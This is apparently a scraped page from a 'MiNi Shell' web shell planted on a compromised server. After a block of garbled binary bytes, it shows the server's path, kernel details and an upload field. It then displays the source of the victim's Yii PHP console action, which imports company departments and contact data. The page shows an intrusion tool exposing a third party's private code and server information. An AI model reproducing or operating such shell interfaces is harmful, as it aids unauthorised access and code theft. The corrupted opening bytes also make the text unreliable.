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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportCompaniesDepartmentsAction.php

<?php

namespace console\controllers\actions;

use \Yii;
use common\models\CompaniesDepartments;
use common\models\CompaniesDepartmentsContactData;
use common\models\CompaniesPresentationsHasCompaniesDepartments;
use common\models\types\ContactDataType;
use common\models\CompaniesPresentations;

class ImportCompaniesDepartmentsAction extends ImportAbstractAction
{       
    private $departments = [];
    
    public function run() 
    { 
        $debugMode = self::DEBUG_MODE_ON;
        
        $this->getDepartments();
        
        if(empty($this->departments)) {
            var_dump('brak danych do przetworzenia');
            exit;
        }
        
//        var_dump($this->departments); exit;
        
        foreach($this->departments as $department) {
            if($this->checkIfSelectedRecordExists($department['id'])) {
                continue;
            }        

            if($debugMode === self::DEBUG_MODE_ON) {
                echo "\n".'Dział ID: '.$department['id'].' - ';
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $modelCompanyDepartment = $this->createModelCompanyDepartment($department);    
            if(($result = $this->trySaveModel($modelCompanyDepartment, $department['id'], $debugMode)) !== true) {
//                var_dump($modelCompanyDepartment->getErrors()); exit;
                continue;
            }
            
            $modelsCompanyDepartmentContactData = $this->createModelsCompanyDepartmentContactData($department, $modelCompanyDepartment->id_department);            
            if(!empty($modelsCompanyDepartmentContactData)) {
                $goToNextIterration = false;
                foreach($modelsCompanyDepartmentContactData as $modelCompanyDepartmentContactData) {
                    if(($result = $this->trySaveModel($modelCompanyDepartmentContactData, $department['id'], $debugMode)) !== true) {
                        $goToNextIterration = true;
                        break;
                    }  
                }
                if($goToNextIterration) {
                    continue;
                }
            }            
            
            if(!empty($department['presentations'])) {
                $goToNextIterration = false;
                foreach($department['presentations'] as $idPresentation) {
                    $modelCompanyPresentationHasCompanyDepartment = new CompaniesPresentationsHasCompaniesDepartments(['scenario' => 'create']);
                    $modelCompanyPresentationHasCompanyDepartment->id_presentation = $idPresentation;
                    $modelCompanyPresentationHasCompanyDepartment->id_department = $modelCompanyDepartment->id_department;
                    $modelCompanyPresentationHasCompanyDepartment->department_order = $department['kolejnosc'];

                    if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyDepartment, $department['id'], $debugMode)) !== true) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            if($debugMode === self::DEBUG_MODE_OFF) {
                $this->saveOperationStatus(self::STATUS_OK, $department['id'], $modelCompanyDepartment->id_department);
                $transaction->commit();
            } else {
                echo 'zapisany';
            }
        }
    }
    
    private function getDepartments()
    {
        $this->departments = [];
        $sql = 'SELECT fk.*, u.id_portal, u.id_portal_2, u.id_portal_3 
                FROM users u, pakiety_users pu, firmy_kontakt fk 
                WHERE u.id_user = pu.id_user 
                    AND u.id_user = fk.id_user 
                    AND u.id_portal = 8 
                    AND u.profil = 8 
                    AND u.status = 1 
                    AND pu.id_pakiet > 1 
                    AND fk.dzial != "" 
                ORDER BY fk.id_user ASC, fk.kol ASC, fk.cd DESC 
                LIMIT 200,50';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        
        $idsCompanies = [];
        $departmentsOrder = [];
        foreach($rows as $row) {
            $idCompany = $this->getIdCompanyForOldIdUser($row['id_user']);
            if($idCompany === null) {
                continue;
            }
            
            $data = $this->convertDataLatin2ToUTF8($row);
            $data['id_company'] = $idCompany;
            
            $idsCompanies[$idCompany] = $idCompany;
            
            if(!isset($departmentsOrder[$row['id_user']])) {
                $departmentsOrder[$row['id_user']] = 1; 
            }
            
            if(!empty($row['id_portal'])) {
                $data['portals'][intval($row['id_portal'])] = intval($row['id_portal']);
            }
            if(!empty($row['id_portal_2'])) {
                $data['portals'][intval($row['id_portal_2'])] = intval($row['id_portal_2']);
            }
            if(!empty($row['id_portal_3'])) {
                $data['portals'][intval($row['id_portal_3'])] = intval($row['id_portal_3']);
            }
            
            $data['kolejnosc'] = $departmentsOrder[$row['id_user']];
            $departmentsOrder[$row['id_user']] += 1;
            
            $this->departments[] = $data;            
        }    
        unset($rows);
        
        $modelsCompaniesPresentations = CompaniesPresentations::find()->where(['id_company' => $idsCompanies])->all();
        if(empty($modelsCompaniesPresentations)) {
            $this->departments = [];
            return;
        }
        
        $presentationsOnPortals = [];
        foreach($modelsCompaniesPresentations as $modelCompanyPresentation) {
            $presentationsOnPortals[$modelCompanyPresentation->id_company][$modelCompanyPresentation->id_portal] = $modelCompanyPresentation->id_presentation;
        }
        unset($modelsCompaniesPresentations);
        
        foreach($this->departments as $key => $department) {
            $idCompany = $department['id_company'];
            if(!empty($department['portals']) && intval($department['status']) === 1) {
                foreach($department['portals'] as $idPortal) {
                    if(isset($presentationsOnPortals[$idCompany][$idPortal])) {
                        $this->departments[$key]['presentations'][] = $presentationsOnPortals[$idCompany][$idPortal];
                    }
                }
            } else {
                $this->departments[$key]['presentations'] = [];
            }
        }      
    }
    
    private function createModelCompanyDepartment($data)
    {
        $model = new CompaniesDepartments(['scenario' => 'create']);
        $model->id_company = $data['id_company'];
        $model->id_branch = null;
        $model->name = $data['dzial'];
        $model->description = $data['dzial'];        
        
        return $model;
    }
    
    private function createModelsCompanyDepartmentContactData($data, $idDepartment)
    {
        $models = [];
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        
        $labelForEmail1 = $labelForEmail2 = $contactDataTypesLabels[ContactDataType::EMAIL];
        if(!empty($data['email_firma2']) && !empty($data['email_firma3'])) {
            $labelForEmail1 .= ' 1';
            $labelForEmail2 .= ' 2';
        }  
        $labelForWWW1 = $labelForWWW2 = $contactDataTypesLabels[ContactDataType::WWW];
        if(!empty($data['www2']) && !empty($data['www3'])) {
            $labelForWWW1 .= ' 1';
            $labelForWWW2 .= ' 2';
        }
        
        $labelForPhone1 = $labelForPhone2 = $contactDataTypesLabels[ContactDataType::PHONE];
        if(!empty($data['tel2']) && !empty($data['tel3'])) {
            $labelForPhone1 .= ' 1';
            $labelForPhone2 .= ' 2';
        }
        
        $labelForFax1 = $labelForFax2 = $contactDataTypesLabels[ContactDataType::FAX];
        if(!empty($data['fax2']) && !empty($data['fax3'])) {
            $labelForFax1 .= ' 1';
            $labelForFax2 .= ' 2';
        }
        
        $labelForMobilePhone1 = $labelForMobilePhone2 = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
        if(!empty($data['gsm2']) && !empty($data['gsm3'])) {
            $labelForMobilePhone1 .= ' 1';
            $labelForMobilePhone2 .= ' 2';
        }
        
        //@todo ustalić czy tak mają wyglądać pola "przeznaczenie" dla adresów email
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
          
        //@todo ustalić, czy taką nadajemy kolejność określonym polom
        $contactDataFields = [
            ['type' => ContactDataType::PHONE, 'value' => $data['tel2'], 'label' => $labelForPhone1],
            ['type' => ContactDataType::PHONE, 'value' => $data['tel3'], 'label' => $labelForPhone2],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $data['gsm2'], 'label' => $labelForMobilePhone1],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $data['gsm2'], 'label' => $labelForMobilePhone2],
            ['type' => ContactDataType::FAX, 'value' => $data['fax2'], 'label' => $labelForFax1],
            ['type' => ContactDataType::FAX, 'value' => $data['fax3'], 'label' => $labelForFax2],            
            ['type' => ContactDataType::EMAIL, 'value' => $data['email_firma2'], 'label' => $labelForEmail1, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $data['email_firma3'], 'label' => $labelForEmail2, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::WWW, 'value' => $data['www2'], 'label' => $labelForWWW1],
            ['type' => ContactDataType::WWW, 'value' => $data['www3'], 'label' => $labelForWWW2],
        ];            
        $contacDataFieldOrder = 1;            
        foreach($contactDataFields as $contactDataField) {
            if(!empty($contactDataField['value'])) {
                $model = new CompaniesDepartmentsContactData(['scenario' => 'create']);
                $model->id_department = $idDepartment;
                $model->data_value = $contactDataField['value'];
                $model->data_label = $contactDataField['label'];
                $model->data_type = $contactDataField['type'];
                $model->data_order = $contacDataFieldOrder;
                $model->required = 0; //@todo ustalić, dla których pól ustawiać tutaj wartość 1
                
                if(!empty($contactDataField['purposes'])) {
                    $model->settings = json_encode(['purposes' => $contactDataField['purposes']]); 
                }

                $models[] = $model;                
                $contacDataFieldOrder++; 
            } 
        }
        
        return $models;
    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->getUsersToCompaniesMap();
        
        parent::init();
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_companies_departments';
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com